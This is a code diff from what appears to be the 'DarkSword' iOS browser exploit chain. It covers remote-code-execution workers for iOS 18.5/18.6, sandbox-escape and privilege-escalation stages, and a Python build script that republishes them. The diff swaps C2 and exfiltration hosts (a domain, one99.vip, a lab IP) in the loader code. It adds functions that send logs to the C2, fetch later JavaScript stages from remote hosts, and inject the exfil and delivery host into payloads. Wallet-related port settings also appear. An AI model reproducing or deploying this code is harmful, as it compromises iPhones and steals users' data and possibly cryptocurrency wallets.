@@ -561,7 +554,7 @@ function exfilFields() {
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001), exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001), exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
exfilTls: tls, exfilTls: tls,
exfilFallbackHost: 'mh0usocqzi6f46i.com', exfilFallbackHost: '192.168.31.130',
exfilFallbackHttpPort: 8018, exfilFallbackHttpPort: 8018,
statsUrl: t.delivery_stats_url || '', statsUrl: t.delivery_stats_url || '',
deviceUUID, deviceUUID,
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
// rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js) // rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js)
// LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B) // LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B)
/* HEADERS */ /* HEADERS */
+1 -1
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
/* HEADERS */ /* HEADERS */
const ab = new ArrayBuffer(8); const ab = new ArrayBuffer(8);
const u64 = new BigUint64Array(ab); const u64 = new BigUint64Array(ab);
+22 -14
View File
@@ -1,5 +1,4 @@
var SERVER_LOG; var SERVER_LOG;
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
let offsets; let offsets;
let MessageName; let MessageName;
@@ -214,6 +213,14 @@ self[1] = boxed_arr;
} }
let logStart = new Date().getTime(); let logStart = new Date().getTime();
let logEntryID = 0; let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) { function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return; if (!SERVER_LOG && !reportError) return;
@@ -227,12 +234,7 @@ self[1] = boxed_arr;
} }
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest(); const xhr = new XMLHttpRequest();
var logBase = ''; xhr.open("GET", labC2LogUrl(req), false);
try {
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
} catch (eLb) {}
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
xhr.send(null); xhr.send(null);
} }
let signal_ptr; let signal_ptr;
@@ -242,6 +244,15 @@ self[1] = boxed_arr;
const p = {}; const p = {};
// L1 encryption state (populated via postMessage from main thread) // L1 encryption state (populated via postMessage from main thread)
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
function __labPrependDelivery(fname, text) {
if (!text) return text;
var f = String(fname || '').toLowerCase();
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
var d = '';
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
if (!d) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
}
function getJS(fname,method = 'POST') function getJS(fname,method = 'POST')
{ {
@@ -299,15 +310,12 @@ self[1] = boxed_arr;
try try
{ {
let url = ""; let url = "";
var assetBase = String(host || '').replace(/\/$/, ''); url = host + "/" + fname;
var assetPath = String(fname || '');
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
url = assetBase + assetPath;
print("trying to fetch from:" + url); print("trying to fetch from:" + url);
let xhr = new XMLHttpRequest(); let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false); xhr.open("GET", `${url}` , false);
xhr.send(null); xhr.send(null);
return _labDecryptWire(xhr.responseText); return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
} }
catch(e) catch(e)
{ {
@@ -342,9 +350,9 @@ self[1] = boxed_arr;
const chipset = data.chipset; const chipset = data.chipset;
const offsets = data.offsets; const offsets = data.offsets;
const slide = data.slide; const slide = data.slide;
__labC2Host = 'https://mh0usocqzi6f46i.com:443'; __labC2Host = 'http://192.168.31.130:8080';
host = data.desiredHost; host = data.desiredHost;
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
SERVER_LOG = data.SERVER_LOG; SERVER_LOG = data.SERVER_LOG;
if (data._enc_session) { if (data._enc_session) {
_enc_S = data._enc_session; _enc_S = data._enc_session;
+27 -31
View File
@@ -1,4 +1,4 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker /* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker
* Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js). * Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js).
* Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5. * Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5.
@@ -22,6 +22,14 @@ let logStart = new Date().getTime();
let logEntryID = 0; let logEntryID = 0;
let __printBudget = 60; let __printBudget = 60;
let __printWindowStart = 0; let __printWindowStart = 0;
var __labExfilUrl = '';
function labC2LogUrl(qs) {
var base = __labExfilUrl;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) { function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
if (!SERVER_LOG && !reportError) return; if (!SERVER_LOG && !reportError) return;
@@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) {
} }
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest(); const xhr = new XMLHttpRequest();
xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true); xhr.open("GET", labC2LogUrl(req) , true);
if (__labDeviceUUID) { if (__labDeviceUUID) {
try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {} try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {}
} }
@@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) {
} catch (e) {} } catch (e) {}
} }
var __exfilHost = 'mh0usocqzi6f46i.com'; var __exfilHost = '192.168.31.130';
var __exfilHttpPort = 4001; var __exfilHttpPort = 4001;
var __exfilHttpsPort = 4001; var __exfilHttpsPort = 4001;
var __exfilTls = false; var __exfilTls = false;
var __exfilFallbackHost = ''; var __exfilFallbackHost = '';
var __exfilFallbackHttp = 4001; var __exfilFallbackHttp = 4001;
var __labDeviceUUID = ''; var __labDeviceUUID = '';
function labWorkerApiBase() {
try {
var tls = !!__exfilTls;
var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443));
var o = (tls ? 'https://' : 'http://') + h;
if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port;
return o;
} catch (e) {}
return 'https://mh0usocqzi6f46i.com:443';
}
function applyExfilFromData(data) { function applyExfilFromData(data) {
if (!data) return; if (!data) return;
if (data.exfilHost) __exfilHost = String(data.exfilHost); if (data.exfilHost) __exfilHost = String(data.exfilHost);
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; }
if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort); if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort);
if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort); if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort);
if (data.exfilTls != null) __exfilTls = !!data.exfilTls; if (data.exfilTls != null) __exfilTls = !!data.exfilTls;
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0]; if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort); if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
} }
function patchExfilPayload(script) { function patchExfilPayload(script) {
if (!script) return script; if (!script) return script;
// Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001. var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
// Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS. var h = raw;
var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; var hp = String(Number(__exfilHttpPort || 80) || 80);
var h = raw || 'mh0usocqzi6f46i.com'; var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80);
var hp = '8018'; var tls = !!__exfilTls;
var hsp = '8018'; var delivery = '';
try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {}
var s = script; var s = script;
var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3', var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3',
'192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com', '192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com',
@@ -119,13 +117,11 @@ function patchExfilPayload(script) {
s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true'); s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true');
// MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start // MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));' var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));'
+ 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";' + 'if(__peG){'
+ '__peG.__PE_EXFIL_TLS__=false;' + (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '')
+ '__peG.__PE_EXFIL_HTTP__=' + hp + ';' + (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '')
+ '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';' + (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '')
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '')
+ (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '') + (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '')
+ (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '')
+ '}}catch(_pePre){}\n'; + '}}catch(_pePre){}\n';
return pre + s; return pre + s;
} }
@@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5)
// Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080. // Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080.
if (heavy) { if (heavy) {
if (primary && bases.indexOf(primary) < 0) bases.push(primary); if (primary && bases.indexOf(primary) < 0) bases.push(primary);
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
} else { } else {
if (primary) bases.push(primary); if (primary) bases.push(primary);
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
} }
if (!bases.length) { print('getJS: no host'); return ''; } if (!bases.length) { print('getJS: no host'); return ''; }
const maxTries = heavy ? Math.min(tries, 3) : tries; const maxTries = heavy ? Math.min(tries, 3) : tries;
+20 -27
View File
@@ -1,5 +1,4 @@
var SERVER_LOG; var SERVER_LOG;
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
let offsets; let offsets;
let MessageName; let MessageName;
@@ -16,6 +15,14 @@ function sleep(ms) {
} }
let logStart = new Date().getTime(); let logStart = new Date().getTime();
let logEntryID = 0; let logEntryID = 0;
var __labC2Host = '';
function labC2LogUrl(qs) {
var base = __labC2Host;
if (!base) {
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
}
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
}
function print(x, reportError = false, dumphex = false) { function print(x, reportError = false, dumphex = false) {
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
// Errors only to /api/ds/log — progress stays in fopen side-channel / console. // Errors only to /api/ds/log — progress stays in fopen side-channel / console.
@@ -32,12 +39,7 @@ function print(x, reportError = false, dumphex = false) {
} }
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
const xhr = new XMLHttpRequest(); const xhr = new XMLHttpRequest();
var logBase = ''; xhr.open("GET", labC2LogUrl(req) , false);
try {
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
} catch (eLb) {}
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
xhr.send(null); xhr.send(null);
} }
// 去掉加解密:明文直通,不再解密任何 blob。 // 去掉加解密:明文直通,不再解密任何 blob。
@@ -47,19 +49,14 @@ function print(x, reportError = false, dumphex = false) {
function _labDecryptWire(text) { function _labDecryptWire(text) {
return text; return text;
} }
function __labPrependDelivery(fname, text) {
var __labDeviceUUID = '';
function __labCanonUuid(v) {
var s = String(v || '').replace(/-/g, '').toUpperCase();
return /^[0-9A-F]{16,64}$/.test(s) ? s : '';
}
function __labPrependDeviceUuid(fname, text) {
if (!text) return text; if (!text) return text;
var du = __labCanonUuid(__labDeviceUUID);
if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text;
var f = String(fname || '').toLowerCase(); var f = String(fname || '').toLowerCase();
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text; if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text; var d = '';
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
if (!d) return text;
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
} }
function getJS(fname,method = 'POST') function getJS(fname,method = 'POST')
@@ -115,15 +112,12 @@ function print(x, reportError = false, dumphex = false) {
try try
{ {
let url = ""; let url = "";
var assetBase = String(host || '').replace(/\/$/, ''); url = host + "/" + fname + (fname.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
var assetPath = String(fname || '');
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now();
print("trying to fetch from:" + url); print("trying to fetch from:" + url);
let xhr = new XMLHttpRequest(); let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false); xhr.open("GET", `${url}` , false);
xhr.send(null); xhr.send(null);
return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText)); return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
} }
catch(e) catch(e)
{ {
@@ -14405,7 +14399,7 @@ async function main() {
const fopen_mode_str = 'w'; const fopen_mode_str = 'w';
const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n);
function log(msg) { function log(msg) {
// Mirror stage logs to local server via /api/ds/log (SERVER_LOG) // Mirror stage logs to C2 via /api/ds/log (SERVER_LOG)
try { print(String(msg)); } catch (e) {} try { print(String(msg)); } catch (e) {}
if (true) { if (true) {
const elapsed = parseInt(Date.now() - rce_begin); const elapsed = parseInt(Date.now() - rce_begin);
@@ -14449,10 +14443,9 @@ async function main() {
} }
case 'stage1_rce': case 'stage1_rce':
{ {
__labC2Host = 'https://mh0usocqzi6f46i.com:443'; __labC2Host = 'http://192.168.31.130:8080';
host = data.desiredHost; host = data.desiredHost;
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {}
SERVER_LOG = data.SERVER_LOG; SERVER_LOG = data.SERVER_LOG;
if (data._enc_session) { if (data._enc_session) {
_enc_S = data._enc_session; _enc_S = data._enc_session;
+171 -132
View File
@@ -1,119 +1,139 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain. """Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.
Usage: Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
python3 tools/build.py unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000 php artisan ds:build --c2 http://192.168.31.130:8000
php artisan ds:build --c2 https://c2.example.com
""" """
from __future__ import annotations from __future__ import annotations
import argparse import argparse
import re
import shutil import shutil
import sys import sys
from dataclasses import dataclass
from pathlib import Path from pathlib import Path
from urllib.parse import urlparse from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source" DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain" DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
# Checked into source/config.js; must be rewritten when --origin is not the lab box. EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
TEMPLATE_HOST = "192.168.31.130" TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
TEMPLATE_PORT = 8000 SKIP_PUBLISH = {"log.html"}
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: @dataclass(frozen=True)
use_tls = origin.startswith("https://") class Endpoint:
tls_js = "true" if use_tls else "false" host: str
pairs = [ port: int
("https://mh0usocqzi6f46i.com:443", origin), origin: str
("http://mh0usocqzi6f46i.com:443", origin), tls: bool
("https://mh0usocqzi6f46i.com", origin), path: str
("http://one99.vip:80", origin),
("https://one99.vip:80", origin), @property
("http://one99.vip", origin), def url(self) -> str:
("https://one99.vip", origin), return self.origin + self.path
(f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
(f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin),
(f'https://{TEMPLATE_HOST}"', origin + '"'), def parse_endpoint(raw: str, *, label: str) -> Endpoint:
(f'http://{TEMPLATE_HOST}"', origin + '"'), parsed = urlparse((raw or "").strip())
(f"https://{TEMPLATE_HOST}/", origin + "/"), if parsed.scheme not in ("http", "https") or not parsed.hostname:
(f"http://{TEMPLATE_HOST}/", origin + "/"), raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'), host = parsed.hostname
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'), tls = parsed.scheme == "https"
port = parsed.port or (443 if tls else 80)
origin = f"{parsed.scheme}://{host}"
if not ((tls and port == 443) or (not tls and port == 80)):
origin += f":{port}"
path = (parsed.path or "").rstrip("/")
if path and not path.startswith("/"):
path = "/" + path
return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
return [
("https://mh0usocqzi6f46i.com:443", c2.origin),
("http://mh0usocqzi6f46i.com:443", c2.origin),
("https://mh0usocqzi6f46i.com", c2.origin),
("http://mh0usocqzi6f46i.com", c2.origin),
("http://one99.vip:80", c2.origin),
("https://one99.vip:80", c2.origin),
("http://one99.vip", c2.origin),
("https://one99.vip", c2.origin),
("http://192.168.31.130:8080", c2.origin),
("https://192.168.31.130:8080", c2.origin),
('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
('{ host: "one99.vip", port: 80 }', hp),
('{ host: "192.168.31.130", port: 8080 }', hp),
( (
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }', '{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}', ports,
), ),
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'), (
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'), '{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"), ports,
(f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"), ),
(f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"), ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
(f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'), ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
(f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'), ('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
("mh0usocqzi6f46i.com", ip), ('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
("one99.vip", ip), ("mh0usocqzi6f46i.com", c2.host),
(TEMPLATE_HOST, ip), ("one99.vip", c2.host),
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"), ("192.168.31.130", c2.host),
("_h === '192.168.4.10'", f"_h === '{ip}'"),
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
('_h === "192.168.4.10"', f'_h === "{ip}"'),
('"192.168.1.29"', f'"{ip}"'),
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
# public/log/ is a directory on lab; phone POST /log must hit the API.
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
("/log.html", "/api/ds/log"),
(origin + '/log"', origin + '/api/ds/log"'),
(origin + '/log\\"', origin + '/api/ds/log\\"'),
(':80/log"', ':80/api/ds/log"'),
(':80/log\\"', ':80/api/ds/log\\"'),
] ]
if use_tls:
pairs.extend(
[ def rewrite_text(text: str, c2: Endpoint) -> str:
("tls: false", "tls: true"), for old, new in rewrite_pairs(c2):
("prefer_https: false", "prefer_https: true"), if old != new:
] text = text.replace(old, new)
return text
def patch_config(text: str, c2: Endpoint) -> str:
flag = "true" if c2.tls else "false"
def exfil(_match: re.Match[str]) -> str:
return (
"exfil: {\n"
f' host: "{c2.host}",\n'
f' domain: "{c2.host}",\n'
f" http_port: {c2.port},\n"
f" https_port: {c2.port},\n"
f" tls: {flag},\n"
f" prefer_https: {flag},\n"
" }"
) )
return pairs
patched, n = EXFIL_RE.subn(exfil, text, count=1)
if n != 1:
raise SystemExit("source/config.js: missing exfil { ... } block")
return patched
def iter_files(root: Path) -> list[Path]: def rewrite_tree(root: Path, c2: Endpoint) -> int:
out: list[Path] = [] hits = 0
for p in root.rglob("*"): for path in root.rglob("*"):
if not p.is_file(): if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
continue continue
if p.suffix.lower() in SKIP_SUFFIX: raw = path.read_text(encoding="utf-8")
continue if path.name == "config.js":
out.append(p) new = patch_config(raw, c2)
return sorted(out) else:
new = rewrite_text(raw, c2)
if new != raw:
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]: path.write_text(new, encoding="utf-8")
pairs = replacements(ip, port, origin) hits += 1
hits: list[dict] = []
for src in iter_files(root):
text = src.read_text("utf-8", errors="surrogateescape")
new = text
counts: dict[str, int] = {}
for old, repl in pairs:
n = new.count(old)
if n:
counts[old] = n
new = new.replace(old, repl)
if new != text:
src.write_text(new, encoding="utf-8", errors="surrogateescape")
